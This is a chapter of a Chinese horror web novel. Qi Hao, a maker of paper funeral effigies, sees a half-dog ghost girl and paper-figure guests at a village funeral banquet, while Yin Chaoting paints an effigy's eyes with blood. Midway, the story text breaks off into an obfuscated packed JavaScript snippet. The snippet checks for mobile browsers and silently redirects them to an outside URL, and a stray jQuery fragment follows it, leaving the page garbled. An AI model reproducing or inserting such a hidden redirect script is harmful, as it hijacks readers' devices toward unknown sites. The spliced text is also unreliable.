祁昊出了院子根本不敢慢下脚步,直到出了殷家大门他才敢回头,没有人出来追他,也没有人拦他,坐上了祁广庆找来的三蹦子回村,单缸柴油发动机让车子抖个不停,他真的出来了,但是祁昊却没什么开心的感觉,眼前还是殷晁霆笑着和他挥手的样子。
爷爷走后,他一直一个人住,虽然理由有点儿离谱,但是殷晁霆确实是爷爷走后唯一一个和他一块儿生活了七天的人,除了他的猜测之外,这几天殷晁霆倒是也没做什么他不喜欢的事儿,这大少爷人好像也还行。
祁昊叹了口气揉了揉脸,又忽然抬头,不好,他不回去了做纸人的2000块钱没法找殷晁霆要了。
算了,那纸人就当是他失约的补偿吧,他死后可千万别怪他啊,那纸人他做的已经很像了。
祁家老宅,殷胜踏进主屋:
“干爹,真让祁昊就这么走了吗?”
主位上的殷太爷脸色枯槁,短短一天的时间他身上属于活人的生气就像是被抽走了一半一样,那双之前含笑慈祥的眼睛如今只剩下了浑浊:
“走就走吧,这个时候,走不走的能如何呢?准备好了吗?”
“一切都准备好了,大少估计撑不过明天了。”
殷正德手中捻着珠子没说话。
祁昊到村子里的时候,血红的夕阳凝在山头上,一路上屁股都快被颠麻了,脚落地的时候好像都还在突突。
快进门的时候他才想起个事儿来,在车上的时候他光顾着自己在那纠结了,忘了问这祁广庆家小女娃是怎么死的?
祁广庆看他停下赶紧出声:
“祁小子,快开席了,进去吧。”
“等等,你们家小孩儿怎么死的?”
祁昊盯着眼前的人,祁广庆的目光有些躲闪:
“小女娃一场急病,发了三天烧人就没了,哎,都是怪她爹妈不上心,这要是早早送去卫生所估计也不会没。”
祁昊…他怎么这么不信呢?急病都舍不得去卫生院,现在倒是舍得给她做冥斋?
说完他就推搡着祁昊进去,祁昊被按着坐下后就看到了坐他身边的老头,程瞎子?程瞎子怎么也来了?程瞎子据说早年上过战场,后来被炸瞎了一只眼睛,腿也瘸了一条,回到村子里也干不了太重的活,好在有点儿抚恤金,不过他惯是花钱大手大脚,那点儿钱也不够,但是他战场上回来的,尸体堆里打过滚,没忌讳又命硬。
一来二去的就靠着给人选坟地,敛尸,给小孩儿看看邪病赚些额外的钱,没儿没女的一个人花倒是也痛快,像是这种给去世的人办宴席的地儿他自然也是座上宾,不过以前他听爷爷说程瞎子比他黑多了,一次要收比他多两倍的钱,渐渐的村子里一般给死人办阴斋的就不找他了,但凡肯花钱找他的基本死的都不一般。
祁昊忽然觉得他从一个狼窝掉到了另一个狼窝,这祁家小女孩儿的死怕是有鬼。
开始上菜了,祁家把小女孩儿的像摆了出来,祁昊看到那个像背后徒然升起一股寒气,完了,好像真有鬼,这张脸和他之前做梦梦到的那张半狗脸的小女孩儿一样,但是他从前绝对没有见过这个小女孩儿,怎么会梦到她的脸?
他爷爷说过,正常人是瞧不见那些脏东西的,能看到的要么是本身阴气太重,要么是应果报应被那东西缠住的人,冤有头债有主,他和小孩儿无冤无仇,她没道理来找他啊?
祁昊想起他可能被盯上就脊背发凉,200块钱不值当冒险,一会儿弄完仪式他就找理由撤,天快黑了他还得去挖黄金呢。
上菜了,四个荤,四个素,找的专业做席的班子来炒的菜,卖相还不错,祁昊之前还挺喜欢吃席的,但是今天看着桌子上的肘子他丝毫食欲都没有,这菜有一股烂了三天的腐烂味儿,这祁广庆都舍得钱找他和程瞎子,怎么肉还用坏掉的呢?
祁广庆带着儿子过来,脸上挂着惨白的笑意冲他走了过来:
“祁小子,程爷可以开始了。”
祁昊捏紧手指,还是程瞎子先起来,取了香和烧纸,他也跟着起来,这种席面是死人先吃,活人再吃,一般就是由他们这种坐席的点香,用香灰拌上这八道菜,再烧纸,算是安抚阴灵,让它安心离去,别再闹家宅了,祁昊之前和爷爷已经做的很熟练了,他一边拌一边还想着,吃了这馊菜它能走才怪呢。
就在他点起香的时候,牌位上小女孩儿黑白照片的半张脸开始生出绒毛,开始变成一只大黄狗的脸,那双异色的眼睛直勾勾的盯着他,祁昊手一抖,香灰落在了手背上,他正要甩下去,发现他竟然感受不到疼,再一回头,祁广庆和他儿子又拱起了腰,背上趴着一个鬼森森的小孩儿。
祁昊使劲儿掐自己,大白天的别做梦了,快醒过来啊,但是没有疼痛,眼前的一切也没有消失,女孩儿开始抬头,那张半人半狗的脸扭了过来,眼睛直勾勾看着祁昊,像是发现了惊奇的东西一样,歪着脑袋,惨白的脸上浮现出诡异的笑容。
祁昊的汗蹭的一下冒了全身,他想叫人,却发不出声音,想跑,但是脚就像是被胶水黏在了地上一样,他回头发现所有来吃饭的村民他竟然都不认识,正大快朵颐地夹着那二里地都能闻出馊味儿的菜吃的正香。
他们一个个穿着灰蓝色的褂子,带着八宝帽,脸色白惨惨的,嘴却像是涂了口脂一样红艳艳的,祁昊人都傻了,这装束这妆容没人比他更熟悉了,这哪是什么村民?这不就是他平常扎的纸人吗?
对了,程瞎子呢?他四下一看,就看到程瞎子已经把香插在了碗里,端着一个碗坐回了席上,和那群纸人融为一体,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505934|170480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪是什么冥宴啊,这根本就是个鬼宴。
“爷爷,有没有人死了还能在阳间的?”
“有啊,死后怨气太大的怨灵散不去,多半就会留在世上,那些强大的怨灵还能形成障,昊儿你记住,要是以后遇到了你千万不能惹它的注意,不要让它发现你能看到它,顺着它的意思,等它的心愿了了障自然就破了。”
顺着它的意思?它要干嘛?忽然它感觉两道黑影窜过去,是祁广庆和他儿子,两个人像是疯了一样四肢趴在地上,学着狗一样走路,汪汪叫着往院子里的狗窝爬,一边爬一边互相啃咬,祁广庆把祁成才的手臂生生咬下来一块儿肉,而祁成才伸出手去撕咬祁广庆的肚子,手去抓他肚子上的伤口,肠子翻了一地,父子俩像是牲口一样爬在地上互相撕咬。
血肉乎了满嘴,祁昊恶心的想吐,转头就看到那个小女孩儿冲他走了过来,不,不是走,因为她没有脚,腐烂的味道直冲鼻腔,他想赶紧避开它的目光,学着一边的程瞎子抓起筷子就准备来两口。
但是那腐烂的味道让他完全下不了口,女孩儿已经看了过来,祁昊只觉得一股酸水涌上来,马上就要吐出来,他随手不知道在兜里掏出来了一个什么东西就捂在了鼻子上,一股熟悉的木质香味儿吸入肺腑,是那天早上殷晁霆给他的那个真丝手帕。
木香沁入心脾,被桎梏住的声音和感官开始重新回到他身上,眼前那半张狗面的小女孩儿渐渐淡了,最后消失不见,他的眼前还是那个相框,上面是女孩儿没什么表情的黑白照片,而他的手上正举着香,他立刻转过头看向周围,村民在正常的吃饭说话,祁广庆和祁成才也都直直地站在他身边,正催他快点儿。
祁昊冷汗湿了一后背,匆匆忙忙点了香,和了饭,直到坐回到座位上他都神思不属地魂不附体似的,到底怎么了?晚上睡觉做噩梦也就算了,这天还没黑呢就能做白日梦了?人家白日梦不都是梦好事儿吗?
鼻息间惨留着木质的冷香,这香味儿没来由地让祁昊安心,他手中捏着帕子,苦苦坐了二十分钟,等到桌子上的菜都村民吃的见了底,他赶紧起身告辞,夺门而出。
殷家老宅
太阳渐渐落下去了,殷晁霆一直透过窗子望着院子里的柳树下的纸人,直到月亮爬了上来,他才撑起身子,拿出了藏在抽屉里盛着祁昊血的那个白色骨碟,里面的血早已经干涸了,他抽出了一把刀,照着手腕的地方划了下去,血顺着苍白的手腕蜿蜒而下落到骨碟里面。
殷晁霆穿了一身红色的锦袍,端着骨碟走到了树下的那个纸人边上,用笔蘸着血迹为那个纸人点上了眼睛,最后的一点儿血被他点在了纸人的唇瓣上。
风乍起,月光从层层剥离的云层中透出来,纸人殷红的唇角微微翘着,就像是祁昊在对着他笑一样。